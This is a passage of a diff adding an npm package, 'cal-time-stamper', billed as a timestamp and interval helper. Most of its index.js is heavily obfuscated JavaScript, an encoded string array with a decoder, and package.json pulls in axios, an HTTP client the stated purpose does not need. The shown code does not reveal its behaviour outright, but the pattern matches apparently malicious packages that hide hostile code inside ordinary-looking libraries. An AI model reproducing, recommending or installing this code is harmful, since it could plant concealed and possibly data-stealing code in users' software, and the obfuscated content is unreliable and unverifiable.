Date(),_0x110b5a=0x86b5+0x2*-0x7b1d+0x159e5-(-0x2*-0xe72+0xe3*-0x13+0x1*-0xc0a);_0x17668e[_0x1c8db6(_0x5d0413._0x5c61c8,-0x12c)](-0xe50+-0x7d3+0x1623),_0x17668e[_0x1c8db6('nDK^',-_0x5d0413._0xba2a64)](0xb76*-0x3+0x12*0x121+0xe10);function _0x1c8db6(_0x256c3a,_0x84f5d8){return _0x2e5c65(_0x84f5d8-0xa3,_0x256c3a);}let _0x232e20=_0x17668e[_0x1c8db6('sJ91',-_0x5d0413._0x1321ba)](),_0x7d0dee=exactMath[_0x1c8db6(_0x5d0413._0x206640,-0x11e)](_0x232e20,_0x110b5a);const _0x21d3b6={};return _0x21d3b6[_0x1c8db6('[[Ug',-0x143)]=_0x232e20,_0x21d3b6[_0x1c8db6(_0x5d0413._0x1c0886,-0x155)]=_0x7d0dee,_0x21d3b6;},_0x443a37={};_0x443a37[_0x2e5c65(-0x1fa,'0q)a')]=time_intervals,_0x443a37[_0x2e5c65(-0x1e1,'z^Cd')]=getTimeStamp,_0x443a37[_0x2e5c65(-0x1d1,'vH(]')]=get_1m_TimeStamp;let TimeStamper=_0x443a37;function _0xa733(){const _0x150e38=['zq1AW6e3Eaq','r8k4mmoJgCkq','AxqB','AM5HWRLctW','W4hdObJdI8kxdSkSushcQ8k9ya','WO/cSq9m','AJOJWO5/EmkCC1JcSmoggdu','Edm7','tsvbpCoNnL9QeW','AIO1','WPu3WQy','W7iujKddTuhdJSkPASo0nmknW4G','DmkwvG','WRFdOCk3W6tdOG','W70Lqc18W55UWQ8','W7VcNCoZWOpdGtG','o28lWP9f','W4BcSXjSWRpcPsK','WPNdS8kR','mvHgma','BxSiiuuWWO3dHq','WQdcUIPuWQ4','W7/cM8o7WOpdKq15WQSYW5PhWRar','W5ZcQSkRWQFdK8kkWQy+W5FdQHtcK8kzWR8','c2ecuXhdU8kbW4i','lmo7arhdGSofWPD3zMBdN8kFW4W','imodtYpdU8k7W6KqzCkY','AJOJWO5/EmkhEu7cRCoB','n2W6avKHWOS','u8olkG','s8okigb/','lMukWQr1W47dGSkrWOC','W5j6W7hcVmkUtYtcPmk+WP4U','B2nkWOBdHCktW6JdU8ktW7JcLq','WQRdLmo9ASk/sW','W4CsBW3cQJusueDgF05CnW','WQVdJCo0BSkusKVcSdm','WRRdISo9vmk/r0/cSW','d8klkW','BMPrWRZdOW','bIZdVG','W5HSt8kuW7xcTJO','pf4dWRbNmKDmWRldJxCkWOu','omo7arhdGSofWPD3zMBdN8kFW4W','W5zMuSkeW7xcPq','rgVdTa','WQu8rCkyeJxcI8ob','EmoNjaJdV8oZWRK','sui0','W55WW7FcU8kQacxcJmkQWQqhWRe','FtOYW53cQ04LBG','WRJdOmkMW6VdSHZcGHC','us9glCokkfL4aZtdSmkL','WQnJW5/cP8ka','WQa8pSoGDe/dQ8otxvDZF8o5','xvmHwmo0y0qiW4nK','BgeFpunUW4FcMwCjncH6WQ9jWP9JWReuW4PWir5yWROywZlcN8kXW7xdLmoGv8kTbSomWPJdLW','pL0kWRbNpXX0WQVdL1a/','vmk5bmo1bCkAWQDhW4u','W67cGmo8WPBdMa','WRJdGCoTx8kIq0FcHsfEWPZdNW','W7/dRvxcLCoOW5a','m1zafmkYdL0','WRL2rq','eLVcPJi/kCkJBSk0F08spq','pg4sWPHpW6BdLCkjWPddNW','x8oAiG','wmoxkJKIma','tcvwhCobbN5ZaYRdPG','bHhcImkq','W5iFzHRcKc8p','W6KIta','j2bPWOpdQXGTF8oXr8k9W7u','WQVdJCo0BSkusKVcOdXBWPtdNq','W4/cS8o7','kMTVW6KEcCkIDhxcUCodfa','zJFdJJRdMebMWPVcVv3dJSkJW6GWas8','wSoFmIW','tdq6sbtdU8kCW7JcRSkaWPBdGaVcHfjvWRib','W4/cSXjpWRxcUIFcSuf1W4ldTMKgBJJcQa','ubZdVhjQxSkeq8k4FfSm','Dmo1W7m1vaNcLdGwkSoJW58MW7pdRCkjua','WORcGSke','W67cLmkUpCo8fXlcLXP5WQldTv4','zwnnWQddSmk3W4a','W4ZcV8o5FCkpW5/dJW','C8kSrNxcPmk+WQ5Zs3ZdJSkU','WRTIW5u','WONdRhnPeHafhW','vdVdGSoHW5tcH8o2','W6jPFCkdfZxcK8o9z2nt','WRBcGgVdNW','EdSZ','Ediw','neBdRW','W5FdPa3dJG','usRdHCoIW4BdMSk8WPJdQmkgWQbjD088WR89e8oUW7LBkmkUWQNdNCk0oCk0wvZcVH3dMg7dKfW','DgCco1eGWO3dQx4nia','E8kGW5W','W5ldO8o9hCo8WOVcGLpdHmkj','W6RdRuxcTCoFW7BcLCoqgmolWRm','WRtcINNdJ8kfWQpcH8kQFtOaoW','WQtcMJznWRtdLgibW6O6W6xcLNveWQbV','FxjyW77cQq','yaWbzCoJxhTSW54urCom','o1zwnmkmafPjW4iOtCop','BmkSW55yzsxdVCogWPnRAXFcKG','FH1z','W47cQSkQWQFdVW','WO7cMCkldSklbZzE','WORcKSkBeCkFbdy','WQTMqdZcOCoACXFcGfq','W6nPFCkJmrJcImoMyhHoqG','WPddOWS','bGdcNCkXsCk6bNPNorpdMYC','WQ/dLSo2zSkIxuFcPq','W5ldS8oR','WQdcPY9pWQJdHa','W5uikq','W4/dQCo+','W67dV1u','DSopW5aUWQ1UWOtdMMhdG8kRW6WMAq','WRBdQ8kXW4hdSHtcIZ03W7FdNq','BdpdIG','W70LAa','FG1pW5agstnLWOVdPa','WR93vrVcGCogqX/cMvq','WQldUSk3W67dQr/cJGiR','q0iZwCoHw1u','W7H/tCk/mrpcUmoMFwnz','wI5gf8oHlfT5','gLKBkCo/W5XVW43dNmo2Aq','oeXE','pLHw','W5lcSXjTWO7cIWtcL1PZW5q','CMGz','rW9nC8k8W49/W7S','W5KuAWy','WPv4W5FdVSoDAmkypSkGdXbE','ECkLW4vIqW','WRJdVCkdW67dQX0','AaBdRG','bWdcImkaECkqjW','ASoBdmk0WQ/cGCoTlCkSWO4','nf1w','FdeP','zGWdzmoMwf5DW6msqmoE','vYvA','FCkDW4W','EmkUga','AZaIWRvp','bKBcOsu7gW','mgtcGLddNbujWOFcMxZdPmkNW5G','W4SyofBdNuJdPG'];_0xa733=function(){return _0x150e38;};return _0xa733();}
10
+
11
+
12
+ export let CL = Calculator ;
13
+ export let TI = TimeInterval ;
14
+ export let TS = TimeStamper ;
package/package.json ADDED
@@ -0,0 +1,27 @@
1
+ {
2
+ "name": "cal-time-stamper",
3
+ "version": "1.0.1",
4
+ "description": "Time Stamps And Intervals",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://gitlab.com/raman_987/time-stamper.git"
12
+ },
13
+ "keywords": [
14
+ "Time-Stamper"
15
+ ],
16
+ "author": "Ramandeep Singh",
17
+ "license": "ISC",
18
+ "bugs": {
19
+ "url": "https://gitlab.com/raman_987/time-stamper/issues"
20
+ },
21
+ "homepage": "https://gitlab.com/raman_987/time-stamper#readme",
22
+ "type": "module",
23
+ "dependencies": {
24
+ "axios": "^0.27.2",
25
+ "exact-math": "^2.2.3"
26
+ }
27
+ }